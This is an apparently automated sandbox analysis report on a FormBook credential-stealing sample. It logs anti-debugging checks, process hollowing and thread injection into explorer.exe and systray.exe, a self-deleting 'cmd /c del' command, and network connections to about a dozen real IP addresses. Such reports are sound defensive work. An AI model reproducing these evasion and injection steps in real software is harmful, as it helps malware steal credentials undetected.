Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAB1E0 mov eax, dword ptr fs:[00000030h]	2_2_34CAB1E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAB1E0 mov eax, dword ptr fs:[00000030h]	2_2_34CAB1E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAB1E0 mov eax, dword ptr fs:[00000030h]	2_2_34CAB1E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAB1E0 mov eax, dword ptr fs:[00000030h]	2_2_34CAB1E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAB1E0 mov eax, dword ptr fs:[00000030h]	2_2_34CAB1E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8A1E3 mov eax, dword ptr fs:[00000030h]	2_2_34C8A1E3
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8A1E3 mov eax, dword ptr fs:[00000030h]	2_2_34C8A1E3
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8A1E3 mov eax, dword ptr fs:[00000030h]	2_2_34C8A1E3
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8A1E3 mov eax, dword ptr fs:[00000030h]	2_2_34C8A1E3
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8A1E3 mov eax, dword ptr fs:[00000030h]	2_2_34C8A1E3
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C781EB mov eax, dword ptr fs:[00000030h]	2_2_34C781EB
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C891E5 mov eax, dword ptr fs:[00000030h]	2_2_34C891E5
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C891E5 mov eax, dword ptr fs:[00000030h]	2_2_34C891E5
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C791F0 mov eax, dword ptr fs:[00000030h]	2_2_34C791F0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C791F0 mov eax, dword ptr fs:[00000030h]	2_2_34C791F0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C901F1 mov eax, dword ptr fs:[00000030h]	2_2_34C901F1
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C901F1 mov eax, dword ptr fs:[00000030h]	2_2_34C901F1
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C901F1 mov eax, dword ptr fs:[00000030h]	2_2_34C901F1
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D481EE mov eax, dword ptr fs:[00000030h]	2_2_34D481EE
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D481EE mov eax, dword ptr fs:[00000030h]	2_2_34D481EE
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAF1F0 mov eax, dword ptr fs:[00000030h]	2_2_34CAF1F0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAF1F0 mov eax, dword ptr fs:[00000030h]	2_2_34CAF1F0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C84180 mov eax, dword ptr fs:[00000030h]	2_2_34C84180
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C84180 mov eax, dword ptr fs:[00000030h]	2_2_34C84180
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C84180 mov eax, dword ptr fs:[00000030h]	2_2_34C84180
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC1190 mov eax, dword ptr fs:[00000030h]	2_2_34CC1190
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CC1190 mov eax, dword ptr fs:[00000030h]	2_2_34CC1190
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA9194 mov eax, dword ptr fs:[00000030h]	2_2_34CA9194
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D551B6 mov eax, dword ptr fs:[00000030h]	2_2_34D551B6
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBE1A4 mov eax, dword ptr fs:[00000030h]	2_2_34CBE1A4
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBE1A4 mov eax, dword ptr fs:[00000030h]	2_2_34CBE1A4
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB41BB mov ecx, dword ptr fs:[00000030h]	2_2_34CB41BB
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB41BB mov eax, dword ptr fs:[00000030h]	2_2_34CB41BB
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB41BB mov eax, dword ptr fs:[00000030h]	2_2_34CB41BB
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7A147 mov eax, dword ptr fs:[00000030h]	2_2_34C7A147
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7A147 mov eax, dword ptr fs:[00000030h]	2_2_34C7A147
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7A147 mov eax, dword ptr fs:[00000030h]	2_2_34C7A147
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D53157 mov eax, dword ptr fs:[00000030h]	2_2_34D53157
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D53157 mov eax, dword ptr fs:[00000030h]	2_2_34D53157
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D53157 mov eax, dword ptr fs:[00000030h]	2_2_34D53157
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB415F mov eax, dword ptr fs:[00000030h]	2_2_34CB415F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D1314A mov eax, dword ptr fs:[00000030h]	2_2_34D1314A
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D1314A mov eax, dword ptr fs:[00000030h]	2_2_34D1314A
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D1314A mov eax, dword ptr fs:[00000030h]	2_2_34D1314A
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D1314A mov eax, dword ptr fs:[00000030h]	2_2_34D1314A
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB716D mov eax, dword ptr fs:[00000030h]	2_2_34CB716D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C86179 mov eax, dword ptr fs:[00000030h]	2_2_34C86179
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CD717A mov eax, dword ptr fs:[00000030h]	2_2_34CD717A
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CD717A mov eax, dword ptr fs:[00000030h]	2_2_34CD717A
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA510F mov eax, dword ptr fs:[00000030h]	2_2_34CA510F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA510F mov eax, dword ptr fs:[00000030h]	2_2_34CA510F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA510F mov eax, dword ptr fs:[00000030h]	2_2_34CA510F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA510F mov eax, dword ptr fs:[00000030h]	2_2_34CA510F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA510F mov eax, dword ptr fs:[00000030h]	2_2_34CA510F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA510F mov eax, dword ptr fs:[00000030h]	2_2_34CA510F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA510F mov eax, dword ptr fs:[00000030h]	2_2_34CA510F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA510F mov eax, dword ptr fs:[00000030h]	2_2_34CA510F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA510F mov eax, dword ptr fs:[00000030h]	2_2_34CA510F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA510F mov eax, dword ptr fs:[00000030h]	2_2_34CA510F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA510F mov eax, dword ptr fs:[00000030h]	2_2_34CA510F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA510F mov eax, dword ptr fs:[00000030h]	2_2_34CA510F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA510F mov eax, dword ptr fs:[00000030h]	2_2_34CA510F
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8510D mov eax, dword ptr fs:[00000030h]	2_2_34C8510D
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB0118 mov eax, dword ptr fs:[00000030h]	2_2_34CB0118
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7F113 mov eax, dword ptr fs:[00000030h]	2_2_34C7F113
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D0A130 mov eax, dword ptr fs:[00000030h]	2_2_34D0A130
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB7128 mov eax, dword ptr fs:[00000030h]	2_2_34CB7128
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB7128 mov eax, dword ptr fs:[00000030h]	2_2_34CB7128
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D3F13E mov eax, dword ptr fs:[00000030h]	2_2_34D3F13E
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB32C0 mov eax, dword ptr fs:[00000030h]	2_2_34CB32C0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CB32C0 mov eax, dword ptr fs:[00000030h]	2_2_34CB32C0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA32C5 mov eax, dword ptr fs:[00000030h]	2_2_34CA32C5
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D532C9 mov eax, dword ptr fs:[00000030h]	2_2_34D532C9
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C772E0 mov eax, dword ptr fs:[00000030h]	2_2_34C772E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8A2E0 mov eax, dword ptr fs:[00000030h]	2_2_34C8A2E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8A2E0 mov eax, dword ptr fs:[00000030h]	2_2_34C8A2E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8A2E0 mov eax, dword ptr fs:[00000030h]	2_2_34C8A2E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8A2E0 mov eax, dword ptr fs:[00000030h]	2_2_34C8A2E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8A2E0 mov eax, dword ptr fs:[00000030h]	2_2_34C8A2E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C8A2E0 mov eax, dword ptr fs:[00000030h]	2_2_34C8A2E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C882E0 mov eax, dword ptr fs:[00000030h]	2_2_34C882E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C882E0 mov eax, dword ptr fs:[00000030h]	2_2_34C882E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C882E0 mov eax, dword ptr fs:[00000030h]	2_2_34C882E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C882E0 mov eax, dword ptr fs:[00000030h]	2_2_34C882E0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7D2EC mov eax, dword ptr fs:[00000030h]	2_2_34C7D2EC
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7D2EC mov eax, dword ptr fs:[00000030h]	2_2_34C7D2EC
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C902F9 mov eax, dword ptr fs:[00000030h]	2_2_34C902F9
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C902F9 mov eax, dword ptr fs:[00000030h]	2_2_34C902F9
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C902F9 mov eax, dword ptr fs:[00000030h]	2_2_34C902F9
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C902F9 mov eax, dword ptr fs:[00000030h]	2_2_34C902F9
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C902F9 mov eax, dword ptr fs:[00000030h]	2_2_34C902F9
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C902F9 mov eax, dword ptr fs:[00000030h]	2_2_34C902F9
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C902F9 mov eax, dword ptr fs:[00000030h]	2_2_34C902F9
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C902F9 mov eax, dword ptr fs:[00000030h]	2_2_34C902F9
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CFE289 mov eax, dword ptr fs:[00000030h]	2_2_34CFE289
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C87290 mov eax, dword ptr fs:[00000030h]	2_2_34C87290
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C87290 mov eax, dword ptr fs:[00000030h]	2_2_34C87290
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C87290 mov eax, dword ptr fs:[00000030h]	2_2_34C87290
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA42AF mov eax, dword ptr fs:[00000030h]	2_2_34CA42AF
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CA42AF mov eax, dword ptr fs:[00000030h]	2_2_34CA42AF
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C792AF mov eax, dword ptr fs:[00000030h]	2_2_34C792AF
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D5B2BC mov eax, dword ptr fs:[00000030h]	2_2_34D5B2BC
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D5B2BC mov eax, dword ptr fs:[00000030h]	2_2_34D5B2BC
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D5B2BC mov eax, dword ptr fs:[00000030h]	2_2_34D5B2BC
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D5B2BC mov eax, dword ptr fs:[00000030h]	2_2_34D5B2BC
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7C2B0 mov ecx, dword ptr fs:[00000030h]	2_2_34C7C2B0
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D3F2AE mov eax, dword ptr fs:[00000030h]	2_2_34D3F2AE
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CAF24A mov eax, dword ptr fs:[00000030h]	2_2_34CAF24A
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D3F247 mov eax, dword ptr fs:[00000030h]	2_2_34D3F247
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4124C mov eax, dword ptr fs:[00000030h]	2_2_34D4124C
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4124C mov eax, dword ptr fs:[00000030h]	2_2_34D4124C
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4124C mov eax, dword ptr fs:[00000030h]	2_2_34D4124C
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D4124C mov eax, dword ptr fs:[00000030h]	2_2_34D4124C
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D3D270 mov eax, dword ptr fs:[00000030h]	2_2_34D3D270
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7B273 mov eax, dword ptr fs:[00000030h]	2_2_34C7B273
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7B273 mov eax, dword ptr fs:[00000030h]	2_2_34C7B273
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7B273 mov eax, dword ptr fs:[00000030h]	2_2_34C7B273
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D0B214 mov eax, dword ptr fs:[00000030h]	2_2_34D0B214
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D0B214 mov eax, dword ptr fs:[00000030h]	2_2_34D0B214
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7A200 mov eax, dword ptr fs:[00000030h]	2_2_34C7A200
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34C7821B mov eax, dword ptr fs:[00000030h]	2_2_34C7821B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBA22B mov eax, dword ptr fs:[00000030h]	2_2_34CBA22B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBA22B mov eax, dword ptr fs:[00000030h]	2_2_34CBA22B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34CBA22B mov eax, dword ptr fs:[00000030h]	2_2_34CBA22B
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D00227 mov eax, dword ptr fs:[00000030h]	2_2_34D00227
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D00227 mov eax, dword ptr fs:[00000030h]	2_2_34D00227
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Code function: 2_2_34D00227 mov eax, dword ptr fs:[00000030h]	2_2_34D00227

Source: C:\Windows\SysWOW64\systray.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

Code function: 0_2_00401759 lstrcatA,CompareFileTime,LdrInitializeThunk,SetFileTime,CloseHandle,lstrcatA,

0_2_00401759

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 38.60.124.101 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 74.208.236.75 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 23.227.38.74 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.238.87.6 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 150.95.255.38 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 156.67.72.35 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.17.157.1 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 118.27.130.228 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 162.0.236.131 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 107.148.29.94 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.208.72.135 80	Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

Section unmapped: C:\Windows\SysWOW64\systray.exe base address: D70000

Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Section loaded: unknown target: C:\Windows\SysWOW64\systray.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Section loaded: unknown target: C:\Windows\SysWOW64\systray.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Thread register set: target process: 5484			Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Thread register set: target process: 5484			Jump to behavior

Source: C:\Users\user\Desktop\sOjxIU25DP.exe	Process created: C:\Users\user\Desktop\sOjxIU25DP.exe C:\Users\user\Desktop\sOjxIU25DP.exe			Jump to behavior
Source: C:\Windows\SysWOW64\systray.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\sOjxIU25DP.exe"			Jump to behavior

Source: explorer.exe, 00000004.00000000.3243224098.0000000009918000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.7909984249.00000000015C0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000004.00000002.7909984249.00000000015C0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000004.00000002.7909984249.00000000015C0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000004.00000002.7909984249.00000000015C0000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: 7Program Managerh

Source: C:\Users\user\Desktop\sOjxIU25DP.exe

0_2_00403461

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.7905498949.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3386638868.00000000348F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.7902345093.00000000009B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.7903855640.0000000002EC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 00000002.00000002.3309090577.00000000000A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.7905498949.0000000002F10000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3386638868.00000000348F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.7902345093.00000000009B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.7903855640.0000000002EC0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Native API	1 Registry Run Keys / Startup Folder	1 Access Token Manipulation	1 Rootkit	1 Credential API Hooking	221 Security Software Discovery	Remote Services	1 Credential API Hooking	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	1 Shared Modules	1 DLL Side-Loading	512 Process Injection	1 Masquerading	LSASS Memory	12 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	3 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	1 Registry Run Keys / Startup Folder	12 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	1 Clipboard Data	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	1 DLL Side-Loading	1 Access Token Manipulation	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	113 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	512 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	3 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	2 Obfuscated Files or Information	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
sOjxIU25DP.exe	25%	Virustotal		Browse
